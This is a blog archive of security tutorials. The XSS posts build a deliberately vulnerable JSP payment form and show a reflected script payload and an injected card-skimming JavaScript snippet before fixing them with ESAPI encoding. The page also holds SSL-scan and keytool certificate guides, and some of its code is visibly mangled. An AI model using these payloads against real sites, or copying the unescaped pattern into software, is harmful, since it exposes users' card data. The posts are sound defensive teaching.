Archive

Posts Tagged ‘security’

Detecting and Fixing XSS using OWASP tools

Much have been written about XSS vulnerabilities scanning. In this article we will try to go a little further and show how to fix them.

To illustrate the whole process, going from initial detection to providing a fix, we will use a very simple app consisting of two JSP pages: one is a payment form for credit card transactions and contains some XSS exploitable code. The other one has such code fixed: the later is just a patched version of the former. We will see how an attacker could trick users, exploiting the present XSS vulnerability, to collect their credit card data.

(Download vulnerable app)

XSS Attacks

 

The goal of XSS attacks is to have a injected script executed by the user web browser. In most cases, user is not even aware of what is going on. For further information about XSS please have a look at OWASP XSS Attack Description.

Let us have a look at our sample app. The vulnerable JSP (xss_html.jsp) contains the following code fragment:


<% 
final String amount = request.getParameter("amount"); 
Enumeration pNames = request.getParameterNames(); 
while (pNames.hasMoreElements()){     
   final String pName = pNames.nextElement();     
   final String pVal = request.getParameter(pName);     
%>
    <input type="hidden" name="<%=pName%>" />" value="" />;</pre>
<table>
<tbody>
<tr>
<td>Credit card</td>
<td><input type="text" maxlength="16" name="cc" size="16" value="" /></td>
</tr>
<tr>
<td>Exp Date (mm/yy)</td>
<td><input type="text" maxlength="2" name="expMonth" size="2" value="" />
/<input type="text" maxlength="2" name="expYear" size="2" value="" /></td>
</tr>
<tr>
<td>CVV2</td>
<td><input type="text" maxlength="2" name="expMonth" size="2" value="" />
/<input type="text" maxlength="2" name="expYear" size="2" value="" /></td>
</tr>
<tr>
<td colspan="2"><input id="button1" type="submit" name="button1" value="Pay" /></td>
</tr>
</tbody>
</table>

The form receives amount to charge as an HTTP Request parameter, collects credit card data form user and them charges her (of course, such last step is not included, you can try with any non-real credit card data). Users could be redirected here from any ecommerce site using a URL such as http://……/XSS_Vulnerable/xss_html.jsp?amount=12.25 (again, nobody would choose such a path for a payment gateway pretending to be a trusted one). But let us see what happens if an attacker tricks someone into loading a malicious URL as the one included in index.jsp instead when the user press Pay button (Firefox 24.0 for Linux):

firefox_vulnerable

Just an alert, but injected Javascript code could have created an image or some other kind of link, so the attacker would have been able to collect the data by just looking at Apache access logs. Indeed, some browsers are able to identify such threats and will not execute injected scripts, as shown (Chromium 28.0 for Linux).

chrome_refuses_exec_script

XSS Detection

 

Fortunately, there are a lot of tools that perform XSS threats scanning so, for the most common issues, there is no need to look at every line of code in every web page when trying to locate such vulnerabilities. One of those tools is OWASP Zed Attack Proxy Object (ZAP). Although it would not be fair to say it is just a XSS scanner, as it provides many many more interesting features.

ZAP can be used as a proxy (indeed, it is based on older Paros Proxy) being able to scan all pages accesed during the session. However, we are just going to introduce the URL( http://……/XSS_Vulnerable/xss_html.jsp?amount=12.25) and press the Attack button (we are using ZAP 2.2.2). To avoid several warnings and making scanning faster we disabled all scan types except for XSS.

ZAP_XSS_vulnerable

Starting from provided URL ( http://……/XSS_Vulnerable/xss_html.jsp?amount=12.25) ZAP has made several checks adding javascript code to be injected.

The tab at the bottom shows one successful attempt of a XSS attack. ZAP has replaced the numeric value of amount parameter by and URL encoded javascript code (as seen in URL field) which is just “><script>alert(1);</script> in plain text (as seen in Evidence field).

Moreover, in the tab above, where HTTP response is shown, the result of the XSS attack is clearly shown: the injected code in amount parameter first closes the double quotes (“) around value for amount field and closes HTML input (>). Afterwards, it adds the script alert(1); (<script>alert(1);</script>). The resulting HTML code to be executed by web browser contains:

<input type="hidden" name="amount" value=""><script>alert(1);</script>" />

XSS Fix

 
Although there is not a single fix for all XSS attacks, all of them are based on input validation, where “input” could be any from HTTP Request parameters, HTTP Headers values or even names… all depends on what the code uses as input.

In our sample app, a HTTP Request parameter is being used to write HTML code.

OWASP provides OWASP Enterprise Security API (ESAPI) in several languages, including, of course Java. ESAPI includes much more functionality related to security, from XSS and CSRF to crypto.

To fix our XSS vulnerability, we are just using a ESAPI encoder (ESAPI 2.1.0). The fix is based on writing the received amount parameter HTML encoded instead of as just received. This way, the user web browser will not execute the javascript code, as it will be seen as the value of the amount parameter.

The fix requires just HTML encoding the amount parameter (see xss_html_esapi.jsp) as follows:

<form method="POST" name="sendForm" id="sendForm" onsubmit="return sendPaymentRequest()">

<%
final String amount = request.getParameter("amount");
Enumeration<String> pNames = request.getParameterNames();
while (pNames.hasMoreElements()){
    final String pName = pNames.nextElement();
    final String pVal = request.getParameter(pName);

    final org.owasp.esapi.Encoder esapiEnc = DefaultEncoder.getInstance();
    final String encPVal = esapiEnc.encodeForHTML(pVal);

    %>
    <input type="hidden" name="<%=pName%>" value="<%=encPVal%>" />
    <%
}
%>

<table>

Running ZAP against fixed JSP (xss_html_esapi.jsp) does not report XSS Vulnerabilities.

Comprobar la seguridad de infraestructuras basadas en SSL

A partir de un estudio sobre la seguridad de las implementaciones SSL en webs populares realizado recientemente por Trustworthy Internet han aparecido diversas noticias con titulares como Los sitios web con seguridad HTTPS son inseguros o incluso La mayoría de webs HTTPS, 90%, son vulnerables.

Que levante la mano el que conozca un sitio 100% seguro. No ?

Dentro de SSL existen diversos algoritmos, algunos de ellos se consideran actualmente como NO seguros. Por lo tanto, incluso los servicios ofrecidos sobre SSL pueden ser potencialmente inseguros.

Otro aspecto fundamental de la seguridad basada en SSL son los certificados. Los certificados instalados en los servidores deben estar firmados por CA (Autoridades de Certificación) de confianza ampliamente conocidas. Como usuarios, nuestros navegadores incluyen una serie de certificados que permiten comprobar que el certificado SSL del sitio al que estamos accediendo ha sido emitido por una de estas CA de confianza. Aunque sobre este tema recomiendo echar un vistazo a SSLCop de Security By Default.

Una forma sencilla de comprobar la seguridad de un sitio SSL es usar uno de los escáneres online mas conocidos, como el de Qualys. Si preferís que todo quede en casa, hay diversas soluciones muy sencillas de utilizar, por ejemplo, SSLScan.

Usando SSL Scan

 

Una vez compilado el código fuente descargado, para lo que se necesitará tener instalado libssl y libssl-dev  no queda mas que ejecutarlo. La opción –no-failed hace que se informe únicamente de los algoritmos soportados.

yo@localhost:~/sslscan-1.8.2$ ./sslscan --no-failed ssl.midominio.com

Testing SSL server ssl.midominio.com on port 443
Supported Server Cipher(s):
 Accepted SSLv3 128 bits DHE-RSA-AES128-SHA 
 Accepted SSLv3 128 bits AES128-SHA 
 Accepted SSLv3 168 bits EDH-RSA-DES-CBC3-SHA
 Accepted SSLv3 56 bits EDH-RSA-DES-CBC-SHA
 Accepted SSLv3 40 bits EXP-EDH-RSA-DES-CBC-SHA
 Accepted SSLv3 168 bits DES-CBC3-SHA
 Accepted SSLv3 56 bits DES-CBC-SHA
 Accepted SSLv3 40 bits EXP-DES-CBC-SHA
 Accepted SSLv3 128 bits RC4-SHA
 Accepted SSLv3 128 bits RC4-MD5
 Accepted SSLv3 40 bits EXP-RC4-MD5
 Accepted TLSv1 128 bits DHE-RSA-AES128-SHA
 Accepted TLSv1 128 bits AES128-SHA
 Accepted TLSv1 168 bits EDH-RSA-DES-CBC3-SHA
 Accepted TLSv1 56 bits EDH-RSA-DES-CBC-SHA
 Accepted TLSv1 40 bits EXP-EDH-RSA-DES-CBC-SHA
 Accepted TLSv1 168 bits DES-CBC3-SHA
 Accepted TLSv1 56 bits DES-CBC-SHA
 Accepted TLSv1 40 bits EXP-DES-CBC-SHA
 Accepted TLSv1 128 bits RC4-SHA
 Accepted TLSv1 128 bits RC4-MD5
 Accepted TLSv1 40 bits EXP-RC4-MD5
Prefered Server Cipher(s):
 SSLv3 128 bits DHE-RSA-AES128-SHA
 TLSv1 128 bits DHE-RSA-AES128-SHA

En este punto ya se puede verificar si la lista de algoritmos soportados son realmente los que deseamos. En cualquier caso, deberían desecharse todos los algoritmos SSL que no sean de, al menos, la versión 3. Los TLS tienen fama de ser mas seguros, pero el soporte no está tan extendido entre los clientes.

En el caso de que necesitaseis modificar los algoritmos de cifrado, podéis encontrar un artículo interesante sobre cómo configurar Tomcat para no permitir cifrados débiles. De nuevo, en Security By Default.

A continuación se mostrará información sobre el certificado SSL instalado.

SSL Certificate:
 Version: 2
 Serial Number: -4294967295
 Signature Algorithm: sha1WithRSAEncryption
 Issuer: /C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=Terms of use at https://www.verisign.com/rpa (c)09/CN=VeriSign Class 3 Secure Server CA - G2
 Not valid before: Jun 14 00:00:00 2010 GMT
 Not valid after: Jun 14 23:59:59 2012 GMT
 Subject: /C=ES/ST=COMUNIDAD DE MADRID/L=Madrid/O=MIDOMINIO/OU=Financial Dept./OU=Terms of use at www.verisign.es/rpa (c)05/OU=Authenticated by VeriSign/OU=Member, VeriSign Trust Network/CN=ssl.midominio.com
 Public Key Algorithm: rsaEncryption
 RSA Public Key: (2048 bit)
 Modulus (2048 bit):
 00:9f:3c:52:2f:38:45:9c:bb:8f:a2:8f:36:be:02:
 4f:b5:69:ec:72:1d:42:fa:d0:6d:4d:ac:c7:e7:8a:
 1f:25:f8:e8:3a:28:7b:04:57:3c:00:f7:91:5b:d3:
 69:5a:a0:85:42:a6:04:68:e3:9e:0b:9d:fd:45:a1:
 cc:1b:eb:47:c6:6e:64:d6:8d:bf:ab:d4:e5:25:01:
 a2:4a:e8:fc:f2:59:72:8a:89:da:6c:2c:a6:33:6e:
 0f:fa:23:47:7c:a1:38:e2:5d:b7:54:42:ed:15:58:
 9c:f4:3c:ad:6b:1d:f1:d7:d6:1e:37:d0:83:7c:74:
 ae:85:63:a5:3f:77:63:c7:01:21:0d:82:eb:5c:36:
 c9:fd:cd:4a:35:44:9c:c1:c1:71:f1:a3:18:a5:18:
 0f:e8:66:78:cb:74:33:47:c8:35:45:53:82:41:ac:
 78:ec:8a:d1:ef:11:0a:e4:2f:c4:68:02:90:54:df:
 ad:16:61:4b:8d:e0:4f:ca:1d:16:00:43:37:c8:4d:
 a2:f0:a1:1f:77:ba:62:4d:21:ce:c3:25:48:5b:8c:
 f8:e2:15:c9:d1:65:9b:3a:11:27:17:1d:15:a4:4b:
 72:a6:fa:43:f4:c7:a3:50:57:7e:0c:41:9b:41:3f:
 b4:f5:ab:a3:b7:21:8d:05:32:46:f0:23:df:f8:39:
 f6:43
 Exponent: 65537 (0x10001)
 X509v3 Extensions:
 X509v3 Basic Constraints: 
 CA:FALSE
 X509v3 Key Usage: 
 Digital Signature, Key Encipherment
 X509v3 CRL Distribution Points: 
 URI:http://SVRSecure-G2-crl.verisign.com/SVRSecureG2.crl
X509v3 Certificate Policies: 
 Policy: 2.16.840.1.113733.1.7.23.3
 CPS: https://www.verisign.es/rpa
X509v3 Extended Key Usage: 
 TLS Web Server Authentication, TLS Web Client Authentication
 X509v3 Authority Key Identifier: 
 keyid:A5:EF:0B:11:CE:C0:41:03:A3:4A:65:90:48:B2:1C:E0:57:2D:7D:47
Authority Information Access: 
 OCSP - URI:http://ocsp.verisign.com
 CA Issuers - URI:http://SVRSecure-G2-aia.verisign.com/SVRSecureG2.cer
Categories: Seguridad Tags: , , , , ,

Conexiones seguras SSL y certificado cliente

04/25/2012 Leave a comment

Conexiones seguras SSL con certificado cliente

Primero vamos a ver los pasos necesarios para crear, firmar y configurar un certificado de servidor que se utilizará para cifrar la conexión. Y luego vamos a crear y configurar otro certificado que se utilizará en la parte cliente como certificado cliente para identificar el cliente que hace la petición.

En esta guía vamos a utilizar un Tomcat 7.0.23, java 7u3 y Apache Httpclient 4.1.1.

Antes de empezar vamos a matizar algunos conceptos que vamos a utilizar. Para realizar las conexiones SSL y autenticarnos con los certificados de cliente utilizaremos diferentes entradas del keystore. Cada una de estas entradas es un par clave privada clave pública, donde la clave pública se encuentra envuelta en un certificado X.509 v3 que por defecto está autofirmado (esto luego lo cambiaremos), esta cadena de certificados es guardada como un único elemento. El exportar una entrada lo que estamos exportando es el certificado que envuelve la clave pública. En la importación de certificados hay dos casos que se explican más abajo.

Nota: En algunos códigos de ejemplo se han tenido que meter saltos de línea para que el texto entrase. Es posible que estos saltos de línea tengan que ser eliminados para el correcto funcionamiento de los comandos.

Conexión SSL

Generar las claves, certificado SSL

Primero tenemos que crearnos un par de claves en nuestro keystore que se utilizarán como certificado SSL en el servidor

keytool -genkeypair -keystore server.keystore -alias certSSL -dname CN=localhost
  • -keystore: Es la ruta al archivo keystore que contiene la nueva entrada que se va a generar. Este será el archivo que leerá nuestro servidor para cifrar la conexión.
  • -alias: Es el alias con el que vamos a identificar a está entrada dentro del keystore.
  • -dname: Es el nombre del host del servidor que va a cifrar la conexión en formato CN=host_name. Cuando el cliente haga una petición a nuestro servidor resolverá en su /etc/hosts el host o ip que pongamos en la URL y utilizará ese nombre para validar el certificado del servidor. Si no coincide, no aceptará la petición.

Primero nos pedirá una contraseña para el keystore si el keystore no existe y luego nos pedirá confirmarla. Luego nos pedirá una contraseña para la clave que va a generar y que la volvamos a escribir, si no ponemos ninguna utilizará la del keystore.

El certificado que hemos generado arriba está autofirmado. Eso quiere decir que no ha sido firmada por otra clave (privada). Es muy útil que tengamos nuestro certificado firmado por otro que funcione como autoridad certificadora (CA), de esta forma si el cliente tiene esa CA en su baúl (truststore), todo certificado firmado por esa CA será de confianza y no tendremos que ir añadiendolos independientemente. Luego hablaremos de cómo añadir CA al baúl cliente.

Firmar certificado

Para firmar un certificado primero tenemos que hacer una petición de firmado de certificado (CSR) del certificado que queremos firmar.

keytool -certreq -keystore server.keystore -alias certSSL -file certSSL.csr
  • -keystore: Es la ruta al archivo keystore que contiene el certificado que queremos firmar.
  • -alias: Alias que identifica la entrada que contiene el certificado que vamos a firmar.
  • -file: Ruta al archivo que va a guardar la petición de firmado.

En este proceso te pedirá la contraseña del keystore y si la contraseña de la clave es distinta también te la pedirá. Ahora tenemos dos opciones le pedimos a una autoridad certificadora externa que nos firme nuestro CSR (VeriSign, Thawte,…) o lo firmamos nosotros con una clave privada nuestra.

Firma CA externa

Si elegimos a la autoridad externa, tendremos que enviarle el CSR a parte de otros datos que nos pida. La CA nos devolverá un nuevo certificado, que es el nuestro firmado por ella.

Firma con nuestro CA

Si no tenemos una clave privada para firmar, tendremos que generarla. Se hace igual que la que hemos generado antes

keytool -genkeypair -keystore ca.keystore -alias myca -dname CN=CA
  • -keystore: Es la ruta al archivo keystore que contiene la clave que se va a generar. Es recomendable que sea distinto al que hemos usado para SSL. Luego exportaremos el este certificado y se lo añadiremos al keystore de SSL con un alias nuevo (por la forma de añadirlo se guardará como una entrada de certificado de confianza).
  • -alias: Es el alias con el que vamos a identificar a está entrada dentro del keystore.
  • -dname: Puede ser lo que quieras.

Este comando te pedirá la contraseña del keystore y luego la contraseña de la clave que acaba de generar. Ahora firmamos el CSR con nuestra clave privada bajo el alias myca.

keytool -gencert -keystore ca.keystore -alias myca -ext san=dns:ca1
 -infile certSSL.csr -outfile signedCert.cert
  • -keystore: Es la ruta al archivo keystore que contiene la clave que antes hemos generado para firmar la CSR.
  • -alias: Alias de la clave que vamos a usar para firmar la CSR.
  • -ext: Extensiones X.509 que será embebidas en el certificado que vamos a firmar (fuera del ámbito del documento).
  • -infile: Ruta al archivo que tiene la solicitud de firma CSR.
  • -outfile: Ruta al archivo en el que se guardará el certificado (certSSL) firmado por nuestro CA.

En el proceso te pedirá la contraseña del keystore y si es distinta la contraseña de la clave myca.

Añadir certificado firmado

Da lo mismo el método de firmado elegido, al final tenemos un nuevo archivo (el que nos devuelva la CA externa o el que hemos generado nosotros signedCert.cert) que contiene la cadena de cerificados. Ahora hay que añadir ese certificado a nuestro keystore.

keytool -importcert -keystore server.keystore -file signedCert.cert -alias certSSL
  • -keystore: Es la ruta al archivo keystore donde queremos guardar la nueva clave firmada.
  • -file: Ruta al archivo que tiene la clave firmada.
  • -alias: Alias de la clave sin firmar que va a ser sobrescrito con la nueva clave firmada.

En el proceso te pedirá la contraseña del keystore y, si es distinta, la contraseña de la entrada con alias certSSL.

Si faltase algún certificado de los que componen la cadena de certificados que estamos añadiendo daría un error y no lo añadiría. Habría que añadir los certificados que faltasen (ver Añadir certificado CA).

Configurar servidor

Ya tenemos nuestro keystore con la cadena de certificados y clave privada que vamos a utilizar para la conexión SSL. Ahora hay que configurar el servidor para que utilice ese certificado y clave privada. En el server.xml definimos un nuevo conector de la siguiente manera

<Connector protocol="org.apache.coyote.http11.Http11Protocol" port="18081" 
minSpareThreads="5" enableLookups="true" disableUploadTimeout="true" 
acceptCount="100" maxThreads="200" scheme="https" secure="true" 
SSLEnabled="true" keystoreFile="server.keystore" keystorePass="cambiala" 
keyAlias="certSSL" keyPass="cambialaTambien" sslProtocol="TLS" />
  • port: Puerto donde va a escuchar nuestras peticiones.
  • keystoreFile: Es la ruta al archivo keystore donde tenemos guardada la cadena de certificados y clave privada que vamos a usar para la conexión SSL.
  • keystorePass: Contraseña del keystore.
  • keyAlias: El alias de la entrada del keystore que vamos a utilizar para cifrar la conexión.
  • keyPass: Contraseña de la entrada identificada con el alias especificado en keyAlias.

Configurar cliente

Si hemos firmado el certificado que el servidor utiliza para la conexión SSL con una CA externa, entonces no tenemos que hacer nada especial ya que el certificado de esa CA externa seguramente ya esté en baúl de confianza. Pero si hemos utilizado nuestro propio certificado, tenemos que añadir ese certificado al baúl de confianza que va a utilizar nuestro cliente. Hay distintas formas de hacer esto, voy a explicar la más localizada, sólo afectará a nuestro cliente. Primero exportamos el nuestro certificado de CA como se ha hecho arriba, pero en vez de importarlo en el keystore del sevidor lo añadimos al truststore del cliente

keytool -importcert -keystore client.truststore -file ca.cer -alias certSSL
  • -keystore: Ruta al archivo keystore donde vamos a guardar certificado que firma la clave utilizada para la conexión SSL.
  • -file: Ruta del archivo donde se esta el certificado.
  • -alias: Alias con el que se va a guardar la entrada del certificado de CA.

Ahora tenemos que decir a nuestro código que utilice este keystore como truststore. Primero obtenemos el truststore

FileInputStream instream = new FileInputStream(new File(TRUSTSTORE_PATH)
KeyStore truststore  = KeyStore.getInstance(KeyStore.getDefaultType());
truststore.load(instream, TRUST_STORE_PASS.toCharArray());

Luego creamos una factoría de sockets que utilice nuestro truststore y un esquema (scheme) para https que utilice esta factoría de sockets. Y registramos este esquema en el gestor de conexiones (connectionManager) de nuestro cliente.

SSLSocketFactory socketFactory = new SSLSocketFactory(truststore);
Scheme sch = new Scheme("https", 18081, socketFactory);
client.getConnectionManager().getSchemeRegistry().register(sch);

El código resultante sería algo así:

public class Client {

	private final static String URL = "https://localhost:18081/appSSL";
	private final static String TRUESTORE_PATH = "client.truststore";
	private static final String KEY_STORE_PASS = "cambialaTrust";

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		DefaultHttpClient client = new DefaultHttpClient();

		try (FileInputStream instream = new FileInputStream(new File(
                            TRUESTORE_PATH));){
			KeyStore truststore  = KeyStore.getInstance(
                            KeyStore.getDefaultType());

		        truststore.load(instream, KEY_STORE_PASS.toCharArray());

	        	SSLSocketFactory socketFactory = 
                            new SSLSocketFactory(truststore);
	        	Scheme sch = new Scheme("https", 18081, socketFactory);
		        client.getConnectionManager().getSchemeRegistry()
                            .register(sch);

			HttpGet httpget = new HttpGet(URL);
			HttpResponse response;

			response = client.execute(httpget);
			HttpEntity entity = response.getEntity();
			if (entity != null) {
			    BufferedReader reader = new BufferedReader(
                                new InputStreamReader(entity.getContent()));

			    String text;
			    while ((text = reader.readLine()) != null)
			    	System.out.println(text);
			}
		} catch (IOException | CertificateException | KeyStoreException 
                             | NoSuchAlgorithmException | KeyManagementException 
                             | UnrecoverableKeyException e) {
			e.printStackTrace();
		}

	}

}

Certificado cliente

Una de las formas que tenemos de identificar al cliente que está haciendo la petición es mediante un certificado de cliente. El cliente utiliza el par certificado-clave privada para identificarse contra el servidor.

Generar par certificado-clave privada

La entrada se genera igual que para el caso de la conexión SSL, pero en este caso el valor que pongamos en el parámetro -dname va a ser lo que luego nos identificará en el servidor.

keytool -genkeypair -keystore client.keystore -alias clientCert -dname CN=Nikola
  • -keystore: Es la ruta al archivo keystore que va contener el par certificado-clave que se va a generar.
  • -alias: Es el alias con el que vamos a identificar a está entrada dentro del keystore.
  • -dname: Es el nombre que luego nos identificará en el servidor.

Primero nos pedirá una contraseña para el keystore si el keystore no existe y luego nos pedirá confirmarla. Luego nos pedirá una contraseña para la entrada que va a generar y que la volvamos a escribir, si no ponemos ninguna utilizará la del keystore.

Configuración servidor

Esto se puede hacer de dos formas según quieras que sea el servidor o la aplicación quien autentique al cliente.

Autenticación por aplicación

En el server.xml tenemos que modificar nuestro conector SSL añadiéndole los siguientes atributos:

  • truststoreFile=“client.keystore”
  • truststorePass=“cambiala”
  • clientAuth=“false”

quedaría así:

<Connector protocol="org.apache.coyote.http11.Http11Protocol" port="18081" 
minSpareThreads="5" enableLookups="true" disableUploadTimeout="true" 
acceptCount="100" maxThreads="200" scheme="https" secure="true" 
SSLEnabled="true" keystoreFile="/var/lib/tomcat7/conf/pruebando" 
keystorePass="asdasd" keyAlias="ssl" keyPass="asdasd" 
truststoreFile="client.keystore" truststorePass="cambiala" clientAuth="false" 
sslProtocol="TLS" />
  • truststoreFile: Ruta al archivo keystore con los certificados de los clientes que vamos a autenticar.
  • truststorePass: Contraseña del keystore.

En el web.xml de la aplicación tendríamos que añadir las restricciones de seguridad a los recursos de la aplicación e indicar el tipo de autenticación que queremos realizar. Podría ser algo así:

<login-config>
    <auth-method>CLIENT-CERT</auth-method>
    <realm-name>Mi realm</realm-name>
</login-config>

<security-role>
    <description>Cliente con certificado</description>
    <role-name>pruebaClientCert</role-name>
</security-role>

<security-constraint>
    <display-name>Toda la aplicacion</display-name>
    <web-resource-collection>
        <web-resource-name>Todo</web-resource-name>
        <url-pattern>/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
        <role-name>pruebaClientCert</role-name>
    </auth-constraint>
</security-constraint>

Estás líneas en el web.xml indican que el método de autenticación va a ser por certificado de cliente (<auth-method>CLIENT-CERT</auth-method>) que el rol necesario para poder acceder a cualquier recurso de la aplicación es “pruebaClientCert”.

Y luego en donde estén definidos los usuarios las contraseñas y los roles tenemos que meter la siguiente entrada:

  • Nombre de usuario: Es el nombre que definimos el crear la clave del cliente en el parámetro -dname. (En nuestro ejemplo “CN=Nikola”).
  • Contraseña: null
  • Roles: Los roles a los que van a pertenecer a este cliente. (En nuestro caso, como mínimo, pruebaClientCert).

Para el caso del realm UserDatabaseRealm habría que añadir algo así:

<role rolename="pruebaClientCert"/>
...
<user username="CN=Nikola" password="null" roles="pruebaClientCert" />

Autenticación por servidor

Configuración cliente

Vamos a utilizar la entrada que hemos generado antes para identificar al cliente que hace la petición, para esto vamos a tener que decir a nuestro código que utilice este keystore. Primero obtenemos el keystore

FileInputStream instreamKey = new FileInputStream(new File(KEYSTORE_PATH)
KeyStore keystore  = KeyStore.getInstance(KeyStore.getDefaultType());
keyStore.load(instreamKey, KEYSTORE_PASS.toCharArray());

Luego modificamos la factoría de sockets que hemos creado antes para que utilice nuestro keystore.

SSLSocketFactory socketFactory = new SSLSocketFactory(keyStore, KEYSTORE_PASS, 
trustStore);

El código resultante sería algo así:

public class Atacando {

	private final static String URL = "https://localhost:18081/appSSL";
	private final static String TRUSTSTORE_PATH = "client.truststore";
	private static final String TRUSTSTORE_PASS = "cambialaTrust";

	private final static String KEYSTORE_PATH = "client.keystore";
	private static String KEYSTORE_PASS = "cambiala";

	/**
	 * @param args
	 */
	public static void main(String[] args) {
		DefaultHttpClient client = new DefaultHttpClient();

		try (FileInputStream instream = new FileInputStream(new File(
                              TRUSTSTORE_PATH));
			   FileInputStream instreamKey = 
                              new FileInputStream(new File(KEYSTORE_PATH));){
			KeyStore trustStore  = KeyStore.getInstance(
                              KeyStore.getDefaultType());
			KeyStore keyStore  = KeyStore.getInstance(
                              KeyStore.getDefaultType());

	                trustStore.load(instream, TRUSTSTORE_PASS.toCharArray());
	                keyStore.load(instreamKey, KEY_STORE_PASS.toCharArray());

	                SSLSocketFactory socketFactory = new SSLSocketFactory(
                               keyStore, KEYSTORE_PASS, trustStore);
         	        Scheme sch = new Scheme("https", 18081, socketFactory);
        	        client.getConnectionManager().getSchemeRegistry()
                               .register(sch);

			HttpGet httpget = new HttpGet(URL);
			HttpResponse response;

			response = client.execute(httpget);
			HttpEntity entity = response.getEntity();
			if (entity != null) {
			    BufferedReader reader = new BufferedReader(
                                 new InputStreamReader(entity.getContent()));

			    String text;
			    while ((text = reader.readLine()) != null)
			    	System.out.println(text);
			}
		} catch (IOException | CertificateException | KeyStoreException 
                          | NoSuchAlgorithmException | KeyManagementException 
                          | UnrecoverableKeyException e) {
			e.printStackTrace();
		}
	}
}

La (inexistente) seguridad en los pagos NFC

No veo muy claro los beneficios de la tarjeta contactless puesto que, al final, tienes que llevar igualmente la tarjeta encima. Ni siquiera la de los pagos NFC con el móvil, puesto que necesitas tener una tarjeta de crédito igualmente (y la tarjeta ocupa menos que el smartphone en el bolsillo).

Para colmo, en el siguiente informe se muestra la nula seguridad de ese tipo de tarjetas, que no proporciona ningún tipo de autenticación ni cifrado, permitiendo el robo de ciertos datos de la tarjeta (PAN, fecha de caducidad) que son suficientes para realizar pagos en muchos comercios online. Ni que decir tiene que no cumpliría la normativa PCI DSS (Payment Card Industry Data Security Standard, significa Estándar de Seguridad de Datos para la Industria de Tarjeta de Pago).

Podéis leer el artículo completo en http://code.google.com/p/readnfccc/downloads/detail?name=hes2012-bt-contactless-payments-insecurity.pdf&can=2&q=

Categories: Seguridad, Tecnologías Tags: , , ,

XSS: detectar, explotar y corregir vulnerabilidades (II, inyección JS)

En el post anterior vimos cómo inyectar un script en un formulario HTML. También vimos cómo corregir la vulnerabilidad usando la librería ESAPI.

Sin embargo, cómo explotar y corregir la vulnerabilidad depende de cómo se estén usando los parámetros vulnerables. En el ejemplo anterior se usaban para completar código HTML. A continuación veremos una situación en la que el parámetro vulnerable se usa para completar código Javascript.

Seguimos con el mismo ejemplo del atacante que pretende obtener tarjetas de crédito aprovechando una vulnerabilidad en una pasarela de pago. La única diferencia , en este caso, será que la página con el formulario de entrada, en lugar de usar el parámetro amount para completar un input del formulario (HTML), actualiza el valor de dicho campo del formulario mediante Javascript.

A continuación el susodicho JSP:

<%@ page language="java" contentType="text/html; charset=ISO-8859-15"
 pageEncoding="ISO-8859-15"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-15">
<title>XSS vulnerable</title>
<script language="javascript">

function sendPaymentRequest(){
 form = document.getElementById("sendForm");
 alert("Would submit form request... ");
 return false;
}
</script>
</head>
<body>
<h3>Inserte los datos de su tarjeta</h3>
<form method="POST" name="sendForm" id="sendForm" 
onsubmit="return sendPaymentRequest()">

<table>
<tr>
<td> Cantidad a pagar</td>
<td>
<input type="text" name="amount" maxlength="6" size="6" value="" /> &euro;
<td>
</tr>
<tr>
<td>Tarjeta de crédito</td>
<td> <input type="text" name="cc" value="" maxlength="16" size="16"/>
</td>
</tr>
<tr>
<td>Fecha caducidad (mm/yy)</td>
<td>
<input type="text" name="expMonth" value="" maxlength="2" size="2"/>
/<input type="text" name="expYear" value="" maxlength="2" size="2"/></td>
</tr>
<tr>
<td>CVV2</td>
<td><input type="password" name="cvv" value="" maxlength="3" size="3"/>
</td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="Realizar Pago" name="button1" id="button1" />
</td>
</tr>
</table>
</form>

<script language="javascript"> 
var form = document.getElementById("sendForm"); 
<% final String amount = request.getParameter("amount"); %> 
form = document.getElementById("sendForm"); 
form.amount.value = "<%=amount%>"; 
</script>

</body>
</html>

Se ha resaltado el pequeño código Javascript que actualiza el valor de amount en lugar de completarlo directamente en HTML como se hacía en el post anterior.

Si probamos a inyectar el código anterior, aunque sigue siendo posible, no produce los efectos deseados. El código a inyectar, en este caso, podría intentar dejar el fragmento de código JS tal que así:

<script language="javascript">
var form = document.getElementById("sendForm");
form = document.getElementById("sendForm");

form.amount.value = "23.34" ; 
function sendCC(){ 
form = document.getElementById('sendForm'); 
cc = form.cc.value; 
cvv = form.cvv.value; 
year = form.expYear.value; 
month = form.expMonth.value;
alert('Sending to bad guy cc:' + cc + ' date:' 
+ month + '/' + year + ' cvv:' + cvv); return sendPaymentRequest(); 
} 
window.onload = function () { 
var submitForm = document.getElementById('sendForm');
submitForm.setAttribute('onsubmit', 'sendCC()'); 
} //";

</script>

Produciendo de nuevo el mismo efecto que en el caso HTML, como puede apreciarse:

 

En este caso la solución consistiría en reemplazar la línea:

final String amount = request.getParameter("amount");

por

final String amount = ESAPI.encoder().
encodeForJavaScript(request.getParameter("amount"));

La única diferencia con respecto a la solución en el caso en que inyectábamos en HTML es que se ha usado el método encodeForJavaScript en lugar de encodeForHTML.

XSS: detectar, explotar y corregir vulnerabilidades

03/24/2012 1 comment

En este artículo explicaremos en qué consisten las vulnerabilidades XSS  (Cross-site Scripting)  y cómo detectarlas. A modo de ejemplo, veremos cómo sería posible para un atacante obtener tarjetas de crédito aprovechando una vulnerabilidad XSS en una pasarela de pagos ficticia.

Los ataques XSS se basan en la inyección de scripts maliciosos que se ejecutan en el navegador del usuario. En muchos casos, el usuario ni siquiera es consciente de lo que está ocurriendo. Los tipos principales de ataques XSS son:

  • Reflected: Normalmente se basan en conseguir que el usuario siga un link o complete un formulario malicioso aunque aparentemente normal. La respuesta del servidor web contendrá el script inyectado que se ejecutará en el navegador del cliente. Es el tipo de ataque en el que se basa el ejemplo que veremos.
  • Stored: La diferencia con el anterior es que el código malicioso se inyecta en algún elemento persistente, como una base de datos, de manera que se consigue que se ejecute en el navegador del cliente al recuperar la información almacenada.

Para mas información se recomienda consultar la página de OWASP sobre XSS.

 

Caso práctico: Pasarela de pagos vulnerable

 

